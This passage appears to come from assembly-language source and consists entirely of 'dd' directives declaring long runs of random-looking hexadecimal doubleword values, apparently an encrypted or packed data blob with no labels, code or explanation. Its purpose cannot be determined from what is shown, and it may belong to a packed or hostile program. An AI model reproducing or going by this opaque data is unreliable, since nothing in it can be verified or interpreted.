0B0035781h, 0DAF706D3h, 0C28EC0B7h dd 8D6213DFh, 5F16AF4Bh, 0E916C1B8h, 0A5A9A008h, 0BE2840h dd 68DF1E64h, 1751C681h, 0B453462Ch, 79F8A51Dh, 3E835096h dd 45DF9EFh, 0E344575Ch, 17A7BC02h, 0CBA3B958h, 3F4A6808h dd 0C93D273Fh, 462FEA3Dh, 14C75FA3h, 4F2EBF04h, 1EF40DA4h dd 11051831h, 8FCF113Ch, 15033B17h, 94242C07h, 0A00BF7DFh dd 0F58BA918h, 0E9087BC1h, 0B6257428h, 0F47988E2h, 4C1B2720h dd 9913D6B7h, 65598C0Ch, 580765B6h, 4A85C531h, 0ECEF4E4h dd 1FA57953h, 595DE6C0h, 18CE48D1h, 0FBC8BBBh, 0E6C6E99Dh dd 99FE2FC9h, 500F07C6h, 0E080EDB4h, 0E9E18838h, 0F74040F8h dd 0C5A40082h, 98971B96h, 9C8F2CCDh, 64AF8259h, 16604F82h dd 0C32F3FAAh, 0F43FE21Ah, 22C52707h, 795C010Bh, 0E116C882h dd 75D70AE9h, 450C608Bh, 5A1412BCh, 442306F2h, 55E22568h dd 3F60EBD3h, 4D865CFCh, 455397DFh, 4C685055h, 56170D2Dh dd 0E74B72ECh, 4EA5D241h, 702029B6h, 0F33B2E1Bh, 74B90963h dd 2D4794F5h, 0DB3010B2h, 0CDB49E98h, 2827C3C2h, 0FA6634CBh dd 0FA7E6F8Ah, 1679959Fh, 250EE708h, 401B274h, 29353C96h dd 0F6A9002Eh, 3AF8EFD2h, 0A8D6E917h, 44A8C329h, 33FB0B48h dd 62603EFCh, 2025C1E3h, 0BD4A509Fh, 21C5F05Ch, 220FDEEDh dd 13442Eh, 2C1A101Ch, 0FB0B296Fh, 59C7A0E9h, 60E29C76h dd 68EED104h, 0C1A604E0h, 2C67C04Bh, 4B603DF8h, 7D3AE5Ch dd 2081A0C2h, 62CF2E77h, 8C194A8h, 9042BD5Ah, 0E309D395h dd 0BDAEF3ACh, 9CAC290h, 440D8668h, 0C3FCB7CFh, 82FCB758h dd 410D1BC1h, 2ABD72EDh, 40E82DAAh, 26DBEEF2h, 3A81F251h dd 0BBEB5160h, 25A5306Ah, 2308A30Ch, 0D30A785Fh, 0C3408C3h dd 0A9E91402h, 1FF05A8Fh, 43AC1F83h, 0D15DEF09h, 4906709Eh dd 56797614h, 9C6B0C0h, 97E905A4h, 0D35A427Ah, 0A19BAB9h dd 968A4E77h, 922188DFh, 756F9D62h, 0C317FECAh, 0B89387B2h dd 13DF81C6h, 26E7C91h, 53C201EFh, 0C83CF956h, 8CA061E8h dd 47C0BB3Ch, 1A10C14Fh, 7B036575h, 531415F8h, 0F9819EC1h dd 3017E822h, 4701E288h, 0DF01248Fh, 5689DE9h, 16890502h dd 0A2809E5Dh, 314C5C30h, 0ADE927h, 660E2D5Ah, 143143Bh dd 88059BE8h, 0C06BB107h, 50593854h, 0B5D0B5Ch, 0C052E903h dd 178DBE82h, 0F9223127h, 15E103D1h, 0B5834CEDh, 0D75ABF58h dd 0F7951C24h, 9150F0D0h, 6D12A94Fh, 89C07AE9h, 0CB43F480h dd 24FFB106h, 0CCFA685Ah, 4648B3F4h, 0F5B2F23h, 4469E4FBh dd 0D8C011FCh, 58330E31h, 0F2D4838h, 0F2F3BE23h, 9CC395C1h dd 2D787E33h, 959FBDAh, 4A194B43h, 482FBC55h, 26E07BB0h dd 16C2E7B5h, 9EBA015Ch, 2F4B4637h, 0C917401h, 0F16F5065h dd 2F6085B0h, 0B6C71743h, 0B1E3F90h, 7E18C05Eh, 0E9C733F4h dd 4EED38F7h, 0BCE26BB8h, 5C4B6970h, 9D2A3ED9h, 0A4DB9738h dd 68CD88EBh, 53F2C509h, 5C7E5E4Fh, 62BA314Bh, 3E5CC1B4h dd 0E9E11A21h, 0F26B7579h, 0A320492h, 0AEA3E9Ah, 1208EFE2h dd 0E516EA5Ah, 8A49C965h, 10C30057h, 3A34A603h, 0E4AC4CBFh dd 0B71B0845h, 777B681Ah, 0FC8A5EA4h, 0B6528784h, 5AF530B1h dd 0B1880370h, 0F0E0A00Dh, 9EBA9F3Fh, 53519B60h, 0F1B2BAFEh dd 725551AAh, 0CB0ED4D1h, 0C70F0B05h, 0EB53E1C2h, 0C98100ECh dd 5E2E0613h, 764A475h, 639E16C1h, 0F1D82337h, 5CCC122Dh dd 0D35EFA0Fh, 136C8A9Bh, 25AF260Ch, 4294BB52h, 0B911F4EBh dd 6F300CF6h, 5A644827h, 876BC7D7h, 1C3212E9h, 30B1E7D5h dd 37A3550h, 0CFFE2598h, 0D6FC8500h, 9A50E42Dh, 3DC0973Bh dd 40824F7Bh, 7A282FD1h, 80765BE3h, 0B605ADCBh, 20D4541Dh dd 1556F26Fh, 0C2B8CDE9h, 0B151D807h, 0D470A3ECh, 595B3405h dd 0C205F188h, 8DAE0445h, 43329F9h, 222D189Fh, 0E092A9F9h dd 0B1FC3E66h, 3330094Ch, 0CFBD5274h, 216AF300h, 0DCE5AAEEh dd 542F3A80h, 5A04F376h, 1483D0F6h, 0D5E9EF89h, 2CEF9A16h dd 6ED5A436h, 93AAB2BEh, 9E9F61AEh, 434B02ABh, 86635406h dd 681F1611h, 0E945056Fh, 0AB8A95D7h, 0CE874081h, 404C2E20h dd 50015F79h, 73478BB8h, 0B9EF0512h, 0F882ED8Ch, 38926E2Ch dd 2038037Ch, 0EE297D95h, 5F054F3Bh, 62A4CFD0h, 0FA47A544h dd 5B7C9CCAh, 89C4DCh, 7235C7A7h, 62C1FDF0h, 5500444h dd 22C6AAB4h, 0B7CC5F08h, 0E99DB8BFh, 1D0594C6h, 52018380h dd 0E2B317B2h, 89BC0FBh, 6071CAE1h, 20B62335h, 9FEF3EBh dd 1B54A76Eh, 0A0C050E4h, 12D01063h, 0EE64E90Dh, 79CB6012h dd 0D929FB5Fh, 1257D918h, 88886CE9h, 51095EA7h, 0D92FB868h dd 100BF52h, 5AB925ECh, 6C27FD65h, 78147531h, 55CE092Fh dd 6A1DF799h, 2F5A420Fh, 408F0951h, 5004ACDEh, 0A3E08E3Fh dd 0C2FEB88Bh, 0FAEA3980h, 280CBFCCh, 16225AD0h, 432F8F9h dd 0E916A261h, 7638C0B6h, 648258A1h, 0C55F474h, 6C20E060h dd 5905E22Bh, 5BF95399h, 0DE83C02Fh, 0FA481D93h, 75B41702h dd 0A829820Bh, 5F16089Ch, 0EF7C94AAh, 92DECBE2h, 5EAD3372h dd 80B7C5C9h, 48F86871h, 4B5B5708h, 305CBD4Bh, 762D7205h dd 85175EE1h, 8BD4B9CDh, 48DB81AFh, 13BCA31h, 0AD363546h dd 0C0AE050Ah, 741AD273h, 60E94A17h, 5A5440C1h, 0A641E03Bh dd 0DF564769h, 5FE970E8h dd 0CB3D07BCh, 82E421E9h, 2E48A559h, 562572BEh, 0C2E9F65Eh dd 0E90102DCh, 416BA6D4h, 0EA672B76h, 2BA46A04h, 5C3E40B5h dd 7DD4D09Fh, 8EB68DDh, 4FE90484h, 0CE5D0A5h, 277AD874h dd 6EBB9F25h, 0DA68179Eh, 0EE7F8C6Dh, 5CF54E41h, 0B4D7C2A7h dd 0BE0A86C7h, 8839C2B1h, 0A720BD5Ah, 2DD798B5h, 8866CF8Bh dd 0FC1D906Bh, 0EAC38351h, 0E5FFD77Eh, 5B00AC48h, 8900B1DDh dd 5F4A60F9h, 12DF91Ch, 576107C6h, 0CEE5E968h, 5A47AD3Bh dd 0D8AD6057h, 7A59B901h, 2EEDC161h, 57558C00h, 0A0460905h dd 0B862CEF0h, 33E917A6h, 1341F6AEh, 75B29A3Eh, 0B9B02F78h dd 0C08FDA53h, 74E0A502h, 195FC9F4h, 0F51C5709h, 58E06A5Ah dd 0AC724B89h, 0CD1C41Ah, 4FE70C1Dh, 8BEA8106h, 0A4C3817h dd 18066602h, 638570Ch, 0E02E8C1h, 1D68C831h, 2D4C517Fh dd 875CB957h, 0AD17F17Eh, 4277E808h, 0BF1B7A0h, 0E63B088Bh dd 1121605Ah, 0F674C980h, 0FCFED93Ah, 0F40FC85Bh, 0FAC6A75Ah dd 0C1B81094h, 3D21FF5Fh, 2697A720h, 0D552AB2Dh, 0B0549CCh dd 33C067Fh, 142D0C85h, 679F0F07h, 797FC6C2h, 9F7E5266h dd 31929744h, 0B401FD59h, 3F3AEF68h, 758ACE32h, 0E8E90718h dd 20EBC04Bh, 6375BAE8h, 45FE3364h, 12F53A88h, 0D066DE48h dd 2008CC39h, 30042648h, 0BEEF91BCh, 0C1495801h, 57E0D32Dh dd 88395052h, 0A0C633C8h, 9018A660h, 18C00953h, 42FC2996h dd 63FD5E3Fh, 8FC8013Ah, 0AF35C45Eh, 5D7E068Ah, 0E15F4859h dd 4FF37B83h, 0BF17EED2h, 0A1416AF2h, 693DC5CDh, 0C660DA89h dd 1A0958BEh, 0D5211E44h, 2AE4DE2Fh, 55A4BE81h, 0AD6F41C1h dd 61F45957h, 7B12D8E9h, 4FFBBB56h, 0D69E5F8Fh, 31C8BFD0h dd 30025E21h, 671F69C3h, 9F9284Eh, 81D8BA4Bh, 0A92F6063h dd 44C87612h, 287BC4A1h, 0ECE9139Dh, 5F5EC4C1h, 0F16046C5h dd 2B793CBDh, 562C2AE0h, 0D2950372h, 5A088053h, 0D55D25E9h dd 4D5591FDh, 81DED03Bh, 5B1DEEF2h, 0C2813DC4h, 0DC160155h dd 0AED6123Eh, 0D4E7B01Ch, 0E04BE268h, 0C1A6A457h, 5D8BD0BEh dd 121CBB53h, 0E1EFC016h, 0C728193Bh, 8FCB8101h, 0EC29C501h dd 0E59D337Fh, 3E680408h, 31CCCD74h, 0AAA7CAD7h, 2956F2E2h dd 26EA4757h, 951255Ah, 4134716Bh, 7B8EA6E9h, 742F6C3Ch dd 5020062h, 6FB138B9h, 55730F0Dh, 35D8D0C0h, 5B222015h dd 0A164EE8Ch, 0B04E7FEh, 669A3BE9h, 8063FA5Bh, 0DF4B895Dh dd 44E86E6h, 0AA71B53Fh, 938425BDh, 658C16E7h, 3853012Bh dd 5B840561h, 7A86F48h, 39C06027h, 20A01CBFh, 4C9D8919h dd 6E4E2D19h, 0A132177h, 0B3211870h, 2DE57520h, 20DFF7CBh dd 0CA74BECDh, 98E91766h, 7A41F564h, 0B248EFF9h, 0AA37575Fh dd 41A04F40h, 38686E17h, 27422E38h, 6A5D8150h, 0B36C31F5h dd 819CF05Fh, 14B07F3h, 59F610F2h, 40F4E16Bh, 0A554BFEh dd 2B93F255h, 0E9E828FEh, 0B6A683F0h, 0E9307195h, 0E26DD155h dd 3ADF22E8h, 999CFD98h, 3849E913h, 0B21629F3h, 0B47CB846h dd 6689FEFDh, 8D438256h, 0ACAE4B6Dh, 9706D068h, 78ED23BBh dd 0CA812B01h, 1AEA55F3h, 4C4CB2Fh, 7B100B49h, 5D0A69C2h dd 66130E45h, 7EBD7453h, 7E8BB127h, 6E0701FCh, 0C45F4179h dd 63D8A6D9h, 0EE3912FAh, 0AE82BF72h, 0B0EC494Bh, 0B8E9003Fh dd 34DE0B98h, 7E0C100h, 0E2527A25h, 5B350F58h, 0F157C217h dd 47C06E13h, 0FB55A68h, 83E28175h, 807DA844h, 0D9F263DDh dd 53E4FD5Bh, 0D77A80CBh, 9E51F1B5h, 57CC4B92h, 60DD9255h dd 2EFD4669h, 1AB1EDA7h, 9BC15C56h, 0B0212EEBh, 2EAAF043h dd 0B0044B93h, 6C9F5AD7h, 0EEB95845h, 0EF008694h, 1741045h dd 0B85150CEh, 0EA0CAD08h, 0D460DFCFh, 55598168h, 943A84BAh dd 0C8030409h, 0B2A72CD8h, 0CE7F7E62h, 0F56815F0h, 1612D27Bh dd 7B0B299Eh, 4238F6CAh, 11B47DA1h, 0F32782FDh, 0E5BD74E6h dd 5EEA62CCh, 0E8AF3104h, 554BDF59h, 90D52D1h, 6DF90960h dd 8DDE9F5h, 0F9F74A21h, 9C824FFAh, 0F0D43C77h, 3757057h dd 0DE18A2F6h, 0E3A465Bh, 2B5187B0h, 36B4684Eh, 406C31EAh dd 0E3280195h, 168692Bh, 3A71D287h, 78880981h, 1C5D783h dd 4DC3697Fh, 5F8F0E04h, 2CC37363h, 2759C864h, 6F79092Dh dd 32277B5h, 8BFC42DFh, 0DF1A896Bh, 3C9CCF81h, 0D19D60AAh dd 5F507041h, 4E8F31C2h, 0D9A3E17Eh, 0A59D01CAh, 3005F566h dd 0C01FC221h, 0E9424AB9h, 803A1D58h, 23084C1h, 0C4A89775h dd 0B0082A08h, 0C7504BAEh, 5E02691Ch, 275DB42Ah, 6FF240A9h dd 809F566Bh, 260E0D06h, 250954A4h, 271D0972h, 4B8702C5h dd 56970B0h, 22590B16h, 5B3A8915h, 0AF6702D7h, 32EE7562h dd 0D51DC2B5h, 3671BE8Bh, 941A0B2Dh, 92595B4Dh, 0B070988Ah dd 800EB601h, 0B72CE8EEh, 5392B03Eh, 78446814h, 0C5B6CF96h dd 36E8F388h, 20DE66A2h, 0E9805703h, 765992FCh, 2D211E9Ah dd 0BB0A3075h, 0AD489515h, 0CCB1AA1h, 56B3F65Fh, 48F4E927h dd 1EDAC32Ch, 0C93CA826h, 5030949Fh, 5F82E7ADh, 1363F0E8h dd 5F41AF17h, 9CE93621h, 0D14A2C33h, 0C28C10B9h, 0AC0CC5FDh dd 0CF470A6Eh, 86F381A9h, 7A462A36h, 26DF89A4h, 678D3Fh dd 69AE9AEBh, 68B553D5h, 58D17963h, 0F728DB4Ah, 0E95B3807h dd 0B170A9B1h, 0ECA030ACh, 1DC78080h, 57CF28A4h, 3EC0A8EFh dd 4F68C0EBh, 4E3CFA47h, 12DBB05Eh, 0BBBB8CE9h, 0BE089E25h dd 0BE281383h, 7F104D8Bh, 0D1045AFDh, 23AD7068h, 0AA780B12h dd 14C8A6B3h, 82555A09h, 5C4A82F3h, 0C0AD8EEBh, 0F5C0086Eh dd 59EB8832h, 0F91DF3F8h, 892DE950h, 99487F23h, 472838B5h dd 0CF01D757h, 4A70E661h, 81BEC5E9h, 72D4F103h, 64DFF54Bh dd 1B44AB82h, 0BB006C05h, 64CC233Eh, 0AF5FF7F4h, 0E6013D0h dd 21DE9F9Eh, 0A34A82BCh, 0E029A9A5h, 4C4B686Ah, 7CD4C34Ch dd 5E04AA03h, 0E9F05B3Bh, 8CB9900Ch, 5A7958A5h, 3AE9CDA0h dd 7684CBE8h, 0B5FC1669h, 0B50A8120h, 0A2E5283Eh, 0D048529Fh dd 8141003Ah, 4E2738E1h, 6796C48h, 0C07135F2h, 59FB02AAh dd 0CD0136B2h, 8447560h, 745F6F27h, 2A47247Fh, 54685B9Fh dd 0B02062CAh, 0E87240B5h, 8840828Eh, 583D6A87h, 843B9626h dd 17D6C0E4h, 0FF1B78FAh, 0B16BEF05h, 0C06746AEh, 5F0254E3h dd 6D605505h, 0FA5E554Ch, 16450350h, 962D4133h, 0E5046E25h dd 2976F011h, 55DF0AFh, 0C1E90AA0h, 84CEF64Ah, 2FCCA24Bh dd 0DD9177D4h, 6CB87ADAh, 205EA5C7h, 23840514h, 0B4CD5872h dd 3EECDB9Eh, 0B970010Fh, 125B6850h, 29A375Eh, 3DE9C229h dd 0B15A4B53h, 80208812h, 98C0E6FEh, 2F6C90D8h, 0AAFA5AB2h dd 12C0F674h, 69C28054h, 8EA04C0h, 0E430DEE9h, 0F616C3BBh dd 9FACC9Fh, 52DB5975h, 0DA900D09h, 49252094h, 0C8BF0F13h dd 2ABF9F84h, 10844906h, 0A84F32C5h, 0DD257892h, 81B732Fh dd 1492464Eh, 202E2DBAh, 5061302Bh, 6E2C012h, 943D6D20h dd 83680448h, 5834DA7Eh, 0E7BD6A7Fh, 0FEA8E209h, 52FD426Ch dd 0B5315E03h, 648EE721h, 92AE416Eh, 7E2C3D42h, 0C9024AF8h dd 1BDF5A1Eh, 2264B600h, 4BA4EA7Bh, 0D266FC9Ch, 23089906h dd 67C23183h, 59E3881Eh, 3E7238ECh, 4E8A58D8h, 0F23B44A1h dd 0FA079B59h, 0DB2261E7h, 0E189857Bh, 0A6CE2B1Bh, 0C113094Bh dd 0C4B9A5A0h, 6E5A852Ch, 422EB2A1h, 4BE9C574h, 551C35FCh dd 0B8AC04D6h, 278B649Fh dd 57431277h, 16A8EB70h, 0DE956856h, 95E13F9h, 0C02A7663h dd 8E6A03A8h, 0A209141Bh, 60D650F2h, 256123B8h, 62F77D90h dd 0C080DAEh, 575A1401h, 3D674664h, 4FCC8E6Fh, 0E070ED58h dd 5BD91631h, 0CCD51E83h, 0EAFF45B7h, 0E160A41Ch, 5136D0ADh dd 0A51D08C2h, 8345DF2h, 0F81420FBh, 6B4FFA98h, 0E330C7DDh dd 3E0C2FAFh, 9657FD86h, 0EC5D8540h, 9FE4B229h, 0DBEBB507h dd 0FFBA8084h, 5C2957D8h, 442639D3h, 6CDE6920h, 327BD75Ah dd 445EEB96h, 912A284h, 0B8F74780h, 4BC83B3Fh, 1B64E700h dd 0DAE9607Eh, 62F72A4Bh, 0BA826626h, 39AEBB01h, 6BA623E9h dd 6526F740h, 955D10D1h, 0BD204F52h, 0FD514B8Dh, 0A3BAD2B5h dd 96EDD320h, 3F24EED2h, 3C7BB0ABh, 7C70712Ch, 176E600Eh dd 4C3966EAh, 0F25E781Eh, 0EC0C0EAEh, 4021FF8Eh, 0B84A5066h dd 0A4E8E494h, 0CB044448h, 0AADF15DCh, 0F3C1580h, 0E9140C57h dd 5A401F5Eh, 0BD68663Bh, 15EA347Dh, 0EB04D8EEh, 807AB546h dd 7CB7F8BAh, 812DBCC3h, 8AB84F00h, 1902C902h, 4408BD05h dd 5ED2624Fh, 66DA5B95h, 0E94D9880h, 599ABD7Bh, 4C23142Ch dd 0DC78C7CFh, 0D0BB0924h, 16278CDCh, 36F8544Eh, 552C3750h dd 0C3041AB8h, 16973CE6h, 86589851h, 12A3A04Ah, 6DD552DAh dd 5C96224Ah, 5A851C30h, 1632BF65h, 4CBF0C0h, 23D5EBAh dd 38D8C762h, 51BD5500h, 0A2681A37h, 5C4BF5E4h, 0D449FAB8h dd 54975871h, 3540807Dh, 2B9A5CBAh, 323956EAh, 39C5CCE4h dd 6904FE5Eh, 0B2E9CB29h, 5A5947E0h, 0EC0B8266h, 39B873D5h dd 1C5AC12Dh, 884515Bh, 0A175EDAEh, 3082EDE5h, 0FE88FAB7h dd 6B04E261h, 0DFEF0312h, 0B23D4C04h, 0DE1C7D58h, 8023A52Ch dd 0F56851C0h, 251FCC7Fh, 0F1078187h, 0F6ACBA20h, 87FCA1B5h dd 60282350h, 80E7A9B1h, 0F61D07C7h, 8DBC0D7h, 9BF7D00Ah dd 0FDA358B2h, 0E37DF525h, 0ED67ADB3h, 16C32715h, 18C0A52Ch dd 0BD585450h, 55256B65h, 0A9E98398h, 2620F49h, 7794746Ch dd 5DEA058h, 0B010D71Ch, 74CDA21Ah, 0B8120B69h, 0F60241Ah dd 305C2FFCh, 481F1C81h, 46E25A38h, 0E4D0CAA2h, 93CD293Bh dd 0C9FC8567h, 30D6F7F1h, 2124DF9Dh, 0D2123A62h, 74FA56C5h dd 0B550AC97h, 0D210B4A6h, 0CE05E6Ch, 990C0F05h, 0C60A5E49h dd 0E5E91E07h, 0EF5CE104h, 12B1961h, 0BCADB2Ah, 0FE97E954h dd 1C77271Ah, 0F7BDAAA3h, 9B88C959h, 52AC0B63h, 5F92F5h dd 0B47F0EDDh, 0B1E9044h, 60233C67h, 6E985A80h, 50BD5CEFh dd 1666E4BBh, 0A865506Ah, 0B62E6481h, 0F11B3D83h, 95222C11h dd 82578D04h, 286CCF31h, 0CA040601h, 25E12EFCh, 0B7607A01h dd 1324807Eh, 5614D568h, 174617BEh, 0A7170470h, 35581DCAh dd 0CBF231CDh, 2A58941Ah, 5A05F1BDh, 0AA5BD45Fh, 78E520F8h dd 711C6827h, 2B1BEFCh, 0F8F68167h, 717E620Ch, 3C2FF37Dh dd 482651CBh, 0EBC1258Bh, 64B241ADh, 0F6878018h, 2E3C7FCCh dd 0FEF75001h, 0B2688089h, 46657C01h, 8E6C15Eh, 3DE6816Ah dd 6A219713h, 0FEFC94EEh, 3FF09D77h, 20E97750h, 591E323Eh dd 6216D6F6h, 485DFB49h, 0C777D94Fh, 0B593C53h, 928CE75Fh dd 0F8E9C45Bh, 0AA20848Ch, 0C67540BFh, 9316E2Bh, 6A330CC0h dd 5B29A0F2h, 8EE3ECF1h, 78D6C448h, 0A05A66B2h, 65404658h dd 34F50081h, 6810CA3Eh, 6D9E2E7Bh, 38E0263h, 5AEF7AABh dd 0BDD958DCh, 28083382h, 3178D55h, 0A30D51D8h, 972FF15Ah dd 10E636F2h, 2C6FBD07h, 0B4A213F4h, 0C5CEAE93h, 62C8F8FEh dd 48767E38h, 2C058509h, 0FA0F9531h, 7B9DCE81h, 0BB0227BBh dd 5E32130Ah, 97DAED82h, 8CEF2C69h, 0DB740E80h, 6250231h dd 58592DECh, 2BE830D7h, 6DBCF0Eh, 0A3E46016h, 40C06E1Eh dd 0A068B7C3h, 0B1899730h, 0B898FC04h, 255FC1CDh, 6A702E02h dd 1B260022h, 667E3517h, 4095073Ah, 3EA816Ah, 75980E7Ch dd 0BAC7CA29h, 5C1C3008h, 104B2140h, 0B722B693h, 72FA170Eh dd 41F02116h, 2EA094Ch, 50D7F797h, 93715157h, 901EAE5Fh dd 0DD8192F4h, 0F4D00E9Fh, 8C56B7F5h, 51798F79h, 1EE3CB25h dd 725D29FFh, 0A1B981AAh, 98D13F79h, 0B7535100h, 75E78010h dd 270F5CB0h, 275BFD88h, 0CDC2E9F5h, 90E35DA2h, 0FE04060Ch dd 27DE1CC5h, 945DEB88h, 2DE32D56h, 50D6F102h, 98FC5ADDh dd 0AC8D325Eh, 10FD010Ch, 0A86FBF2Ch, 1698E7F9h, 0D35D94Eh dd 6E2B9CFCh, 17401AF4h, 0AD2F9516h, 19220606h, 0C1486h dd 92B71EE4h, 0A869E953h, 5DEA3BC5h, 7C6419FEh, 0B3F7CE9Bh dd 5DF3EAA8h, 2620F116h, 4B6D9086h, 4B60A9D8h, 7CF218A0h dd 44012D54h, 580D1BD7h, 8620BA18h, 5BA85D4Eh, 2CBD160Bh dd 8712877h, 25FA1C30h, 825D48DEh, 0B21AE717h, 0E1247874h dd 8CB8BA88h, 1A234832h, 6FE8FA08h, 0C0A12A79h, 0E860D41Ah dd 14C05F53h, 0C42D8EBAh, 69439010h, 5ED0E351h, 2D81DA97h dd 3159565Fh, 0FB3C5E10h, 907572Eh, 0D3209FC1h, 141DE6F5h dd 0B8034Fh, 0D38B136Fh, 59DD41F7h, 0F86FD035h, 0EA56F274h dd 0B241F5DDh, 0C4A9E02Ch, 2C33EEC8h, 5FF6082Bh, 0B530AC0Ah dd 24D6809h, 7D6DF3D5h, 3BCACDA7h, 0AC67C8FDh, 529B2808h dd 0E3E916EBh, 0D24E903Dh, 0FAF1C97Dh, 0CC1DE9F0h, 89963F35h dd 0A76FBB1Dh, 0B775E64Bh, 31682BE0h, 0DEB13538h, 27BD3EA5h dd 169984C4h, 182E3A40h, 4F5B5FBEh, 0E93FB405h, 5BD5B52Dh dd 5970B1Ch, 0E469B37Eh, 3F1325E6h, 0F4557F92h, 85719509h dd 18507550h, 0C330301h, 783C6E45h, 9FF1A609h, 0CD00820h dd 60FF4A14h, 0D3397D49h, 30B8217Fh, 0C7AD5D4Ah, 0DAC27A89h dd 6DF3DE96h, 0F713105Ah, 98665125h, 0EF317897h, 0E1D82FAFh dd 692CD19Dh, 0A593E77Fh, 5866C660h, 2D170B1Fh, 1BBE3C82h dd 3F615040h, 22CEB568h, 0F66157C3h, 0BA8C6AC3h, 5E0E26C5h dd 0E5BF3ACDh, 0BA39D09Dh, 0E1033D85h, 5190AA14h, 0EFAFA36Eh dd 45F1936Bh, 0B4B81A73h, 0B9020094h, 64F0395Ah, 16B3FA2Ah dd 840DA962h, 0A1BEC537h, 1EA73BDEh, 181D6950h, 0BB30736Ah dd 222F6B05h, 8D8A74FAh, 403A7EE7h, 267B33B8h, 0B036124Ch dd 2C06EEC1h, 0C8DD2368h, 5DCD09C1h, 329EEE74h, 0D2BB6116h dd 5E092CF8h, 1D5346FAh, 8880285Fh, 0B7C05BB2h, 959A3D85h dd 0DAE5FBE8h, 0BA6143E8h, 5AD327FAh, 0AFF687D0h, 0E5955262h dd 0E099AB08h, 25300FBAh, 0AF404F51h, 20B9846Dh, 9242D8ACh dd 4287F678h, 265A6C59h, 16528B02h, 60F9015Ah, 0E11F4E33h dd 0B938AE2Bh, 88AA5A73h, 84315C85h, 5DE1E4C8h, 0FBE02902h dd 0B380A95Eh, 0DA083078h, 0F606EAF0h, 20166AEDh, 795D08h dd 0B82AA70Dh, 0CD00050Eh, 357CF92Ch, 9B1CBA8h, 8533E91Bh dd 77E97945h, 0E98B98DBh, 0A47AF82Fh, 16085986h, 28491774h dd 0C79904D6h, 0DD34BAB4h, 0E5017DD1h, 0C90FAC3Eh, 31CEA0EAh dd 0A4415A0Ah, 74DF20AFh, 80495825h, 95A04B17h, 5BC84889h dd 83BE5B2Ch, 0C6FEFCEEh, 6300A30h, 97F0283Ch, 88BEB0F5h dd 820E9E99h, 458A7230h, 6FD8AE57h, 2E8824FCh, 48C09B8h dd 35124218h, 0AAE25ADh, 84F508Dh, 6C2686DBh, 0A533D42Fh dd 0A3EFC222h, 0AEEC7A7Ch, 129799CBh, 84CAF756h, 0B0076B94h dd 0F6E1E009h, 0EA980CD8h, 5D807032h, 0ECC8D7EDh, 7FACD01h dd 0CCAA9C4Ah, 1E5E6507h, 99451AE4h, 0D7298A88h, 804FC58Fh dd 6130128Ah, 4CC12F35h dd 1B9002FAh, 0B40369Ch, 6301E4A3h, 0E9F929C9h, 0DD6A90CBh dd 3BCB6134h, 0B3537400h, 32B652B0h, 0F3085110h, 32A48175h dd 9F3CEE28h, 0C03F0C74h, 110C07E6h, 870B8FB7h, 0D6CB46E1h dd 647B0972h, 46315957h, 0A500B255h, 496CC81Ah, 0BC5C1FE9h dd 0B52488B8h, 81E28005h, 3018F7C0h, 0BA5B4AFAh, 50660CC0h dd 33EAC6B4h, 219F3891h, 0E5137815h, 9F89097Eh, 6B890DFCh dd 6200D460h, 10205D6h, 0B08F80CFh, 9D33ED22h, 92095970h dd 5777C203h, 30084F28h, 2412CE1Ch, 0B6184667h, 7F0652A2h dd 0ADEFB538h, 13EFE697h, 396419DEh, 27F6D8A6h, 81E0BF5Bh dd 0F8DA62F0h, 7CD4E188h, 0B1ABBA93h, 0C4AD6B6Fh, 6373B8C3h dd 0FBE92698h, 0C4A3414Ah, 0A3342079h, 3A1F48A1h, 700B812h dd 361C63EBh, 0F40CC117h, 7E40ED6Ch, 531B587h, 0EA9F3D45h dd 0C38A8B0Ch, 0C457FDC2h, 1135050Ch, 0EE5E2A7Ah, 0B0BF5124h dd 0A454E94Fh, 883951F9h, 25EB26E5h, 2900E62Eh, 93C281F2h dd 2B1D3E2Ah, 0FC42B9A7h, 0DD703AFDh, 55EAD4CAh, 90E4CADDh dd 0BC83E555h, 85064FB6h, 0D100EC8Fh, 0FC23BEAh, 0BA077384h dd 6D662F98h, 0B089C679h, 27ABC540h, 98C2D2DCh, 37D0952h dd 0F96E1B7Ch, 0B82A2912h, 5E74C2FFh, 9FC1DF13h, 0BE56004Eh dd 51DB74B9h, 2BEC8D7Dh, 0B6235024h, 0B270B7CDh, 81F32926h dd 0E3E93413h, 0BCD20FD3h, 0BCD2708Fh, 0A863105Bh, 0BBE3850h dd 5A0F4B76h, 2AF6F8B9h, 21BD5600h, 262C9439h, 0CF11D529h dd 0EA5DE884h, 0A85265E4h, 16AFB9C9h, 0BC30C377h, 0A75D3E24h dd 34DCFE54h, 44ACEA20h, 0E099EBB4h, 2277183Bh, 12147F05h dd 4FD17B6Fh, 1EBE2BC0h, 0F820F56h, 0D385F031h, 0FEF94E95h dd 0AE2996E4h, 6B8CA7CCh, 0C8C01FADh, 2B285F69h, 0ED09C271h dd 0AB7A1C0Fh, 2099E4FAh, 68EC1BACh, 4A134538h, 2AFD29AFh dd 32125BE2h, 0D62AACECh, 0F4A5D4B8h, 0F1975DC8h, 0BB53708Dh dd 7C01F50Bh, 0BFCF7A11h, 4B3B92D9h, 958B9DCh, 47736855h dd 5DE54059h, 7BACAC84h, 59BD2C75h, 97F28156h, 7F47EC41h dd 0B8403C5Eh, 296F7D5Ch, 2E51B5D1h, 79E12C97h, 7905A379h dd 1C8D76h, 0F334AFA6h, 0E95C017Eh, 3FCB3A02h, 0EEE3E009h dd 76D0699Bh, 86C60020h, 5A57ED4Ch, 4749684Eh, 15BA80A6h dd 9FDDA36Ch, 2914D267h, 8A0813FAh, 0F148E3E2h, 90DFED27h dd 0CB5153AEh, 72181A14h, 0F0728850h, 39E9C0B5h, 0EC3BBAB6h dd 0D3AD4BF5h, 0E88288C3h, 9655CAC9h, 74B9F11Eh, 67FC9F7Ah dd 68C710F2h, 0F6424A7Eh, 649C2710h, 4AE8986Bh, 83E8235Fh dd 0F1B7067Fh, 6E01C06Eh, 0E91038C7h, 0BD1A78F4h, 0D2FF2110h dd 775C97EAh, 20015969h, 0CF30228Fh, 3E0579Ah, 0BC555380h dd 3EE169C7h, 682C81F4h, 86E510Fh, 0FAE94B5Ch, 0B626CFC6h dd 83DEF6A5h, 0A4006DCh, 0F78028BCh, 3B82BFD5h, 7655F2C7h dd 16D7691Fh, 0E813D2DDh, 0E5FEB43Fh, 5AAE2A6Eh, 0A2E30C45h dd 16F75C82h, 0A73396CAh, 5A5881F6h, 0CB6A31E9h, 2319E2EBh dd 221E50D7h, 0F2171741h, 487FAB83h, 0A85B672Ch, 2BE9B043h dd 475EB778h, 0DC108843h, 4C7C28C3h, 0EB924669h, 